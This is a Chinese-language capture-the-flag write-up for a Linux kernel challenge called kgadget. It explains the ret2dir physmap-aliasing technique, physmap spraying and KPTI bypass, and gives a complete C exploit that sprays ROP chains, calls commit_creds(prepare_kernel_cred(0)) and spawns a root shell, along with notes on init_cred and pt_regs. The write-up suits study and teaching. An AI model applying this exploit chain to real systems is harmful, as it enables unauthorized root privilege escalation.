ret2dir&KPTI
记录一下西电的kgadget解题过程以及学到的知识点,拖了一个多月了,还是很有质量的一道题,是学习ret2dir很好的板子题。
0x1 ret2dir
0x1.1 原理
这是2014年提出的一个攻击手段,主要是看论文的翻译理解的(洋文真的看不下去),理解了以后ret2dir的原理也不是非常复杂,主要就是依靠内核地址空间的一段地址(physmap)和物理地址线性映射造成的别名地址来绕过smep和smap。

上图是内核的虚拟地址段,其中physmap
就处于0xffff888000000000 - 0xffffc87fffffffff
,这段地址对应的内存大小一共是64TB,在x86_64系统中,physmap直接以1:1的方式进行映射,从0页表开始,将整个RAM放进64T的区域中,我理解的就是64位架构下,physmap
映射了所有的物理内存。所以用户态对应的物理内存也被physmap
映射,这就会造成别名地址的出现,我们可以在用户态布置好rop或者shellcode,然后在内核态通过physmap
就可以访问到,此时不会触发smep和smap,因为physmap
本身就处于内核态的虚拟地址空间,属于内核态的内容。
0x1.2 利用方式
一共有两种利用方式
精准命中:可以通过mmap申请一页大小的内容,然后在上面写上自己的rop或者shellcode.然后通过kmalloc申请堆,这个堆来自于physmap
线性映射区(physmap的存在就是方便kmalloc),然后泄露堆的地址,就可以知道physmap
的基地址了,然后进行内存搜索,找到rop或者shellcode的线性映射地址来getshell.
概率命中:学名叫physmap spray
,通过mmap大量的页地址,然后全部写上相同的rop或者shellcode,然后随机挑选一个physmap
上一个页基址进行利用。只要申请的足够多,就有很大概率命中。
值得注意的是高版本的physmap
只有读写权限,没有执行权限,所以一般都是rop.
0x2 KPTI
做这道题的时候安排好正常的返回用户态的swapgs
和iretq
,返回用户态后直接爆段错误,跳了半天也没调出来个所以然,问了熊爹说和KPTI有关我才反应过来。
LPTI的具体原理可以参看(12条消息) Linux mem 2.3 内核页表隔离 (KPTI) 详解_pwl999的博客-CSDN博客_内核页表隔离,绕过方式可以看Linux Kernel KPTI保护绕过 - 安全客,安全资讯平台 (anquanke.com)
简而言之,如果开启了KPTI的话,要想从内核态进入用户态,还得设置cr3的值,让其或上0x1000就行,可以使用gadget来完成,也可以使用swapgs_restore_regs_and_return_to_usermode+27
来完成。
我比较疑惑的是当cr3的值指向了用户态的PGD以后还得执行内核态的swapgs
和iretq
,不就会在TLB中找不见对应的物理地址了吗。🤔,目前我还无法解答.
0x3 脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121
| #include <stdio.h> #include <pthread.h> #include <unistd.h> #include <stdlib.h> #include <sys/ioctl.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <sys/mman.h> #include <string.h> size_t commit_creds=0xffffffff810c92e0; size_t prepare_kernel_cred=0xffffffff810c9540; size_t pop_rsp_ret=0xffffffff811483d0; size_t add_rsp_0xe8_pop_rbx_rbp_ret=0xffffffff812bd353; size_t add_rsp_0xa0_pop_rbx_r12_r13_rbp_ret=0xffffffff810737fe; size_t pop_rdi=0xffffffff8108c6f0; size_t ret=0xffffffff8110197b; size_t swapgs_pop_rbp_ret=0xffffffff81bb99af; size_t iretq=0xffffffff810002df; size_t mov_rsi_rax_ret=0xffffffff81bbdc9c; size_t init_cred = 0xffffffff82a6b700; size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81c00fb0 + 27;
size_t mov_rdi_rax=0xffffffff81029e51; size_t try_hit ; size_t page_size;
int fd; void *physmap_spray_arr[16000]; void usr_shell(){ puts("getshelling"); if(getuid()==0){ puts("[*]----getshell pk"); system("/bin/sh"); }else{ puts("[*] getshell fail"); } } size_t user_cs,user_ss,user_rflags,user_sp,user_bp; void saveStatus(void) { __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "mov user_bp, rbp;" "pushf;" "pop user_rflags;" ); printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n"); }
void rop_chain(size_t *rop){ int idx=0; for(;idx<(page_size/8-0x40);idx++){ rop[idx]=add_rsp_0xa0_pop_rbx_r12_r13_rbp_ret; } for(;idx<(page_size/8-0x30);idx++){ rop[idx]=ret; } rop[idx++]=pop_rdi; rop[idx++]=0; rop[idx++]=prepare_kernel_cred; rop[idx++]=mov_rdi_rax; rop[idx++]=1; rop[idx++]=1; rop[idx++]=commit_creds; rop[idx++]=swapgs_restore_regs_and_return_to_usermode; rop[idx++]=0; rop[idx++]=0; rop[idx++] = (size_t)usr_shell; rop[idx++] = user_cs; rop[idx++] = user_rflags; rop[idx++] = user_sp; rop[idx++] = user_ss; } void main(){ saveStatus(); page_size = sysconf(_SC_PAGESIZE); fd=open("/dev/kgadget",O_RDWR); if(!fd){ printf("open fail\n"); return; } physmap_spray_arr[0]=mmap(NULL,page_size,PROT_READ | PROT_WRITE,MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if(!physmap_spray_arr[0]){ printf("mmap fail\n"); return; } rop_chain(physmap_spray_arr[0]); for(int i=1;i<15000;i++){ physmap_spray_arr[i]=mmap(NULL,page_size,PROT_READ | PROT_WRITE,MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if(!physmap_spray_arr[i]){ printf("mmap fail\n"); return; } memcpy(physmap_spray_arr[i], physmap_spray_arr[0], page_size); } try_hit= 0xffff888000000000 + 0x7000000; __asm__( "mov r15, 0x1111111;" "mov r14, 0x2222222;" "mov r13, 0x3333333;" "mov r12, 0x4444444;" "mov rbp, 0x5555555;" "mov rbx, 0x6666666;" "mov r11, 0x7777777;" "mov r10, 0x8888888;" "mov r9, pop_rsp_ret;" "mov r8, try_hit;" "mov rax, 0x10;" "mov rdx, try_hit;" "mov rsi, 0x1bf52;" "mov rdi, fd;" "syscall" ); }
|
除了ret2dir
和KPTI
绕过以外,还学到了两个零碎的知识
init_cred:一般使用commit_creds(prepare_kernel_cred(0))
来完成提权,原理就是prepare_kernel_cred(0)
会返回一个root权限的cred,然后commit_creds()
将这个新cred设置成这个进程的cred,这个比较麻烦的一点是mov rdi,rax,ret
比较难找,在官方wp里他直接使用了一个credinit_cred
,这个cred是一个root权限的cred,所以可以直接commit_creds(init_cred)
,其中init_cred
可以直接在/proc/kallsyms
中找见。
pt_regs:这是一个由寄存器的值组成的结构体
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| struct pt_regs {
unsigned long r15; unsigned long r14; unsigned long r13; unsigned long r12; unsigned long rbp; unsigned long rbx;
unsigned long r11; unsigned long r10; unsigned long r9; unsigned long r8; unsigned long rax; unsigned long rcx; unsigned long rdx; unsigned long rsi; unsigned long rdi;
unsigned long orig_rax;
unsigned long rip; unsigned long cs; unsigned long eflags; unsigned long rsp; unsigned long ss;
};
|
当用户态使用系统调用进入内核态的时候,就会把所有的寄存器的值压入内核栈底,也就组成了pt_regs
结构体。其中r15~r8
寄存器是可以在用户态通过内联汇编控制的,也就是说我们可以控制内核栈底的数据了,如果我们还能控制一次程序流比如说虚表中的某个函数指针,当调用这个指针的时候,他到内核栈底的偏移是固定的,那就可以通过把函数指针覆盖成gadget跳到r15~r8
之间完成rop
gadget的板子:add rsp, val ; ret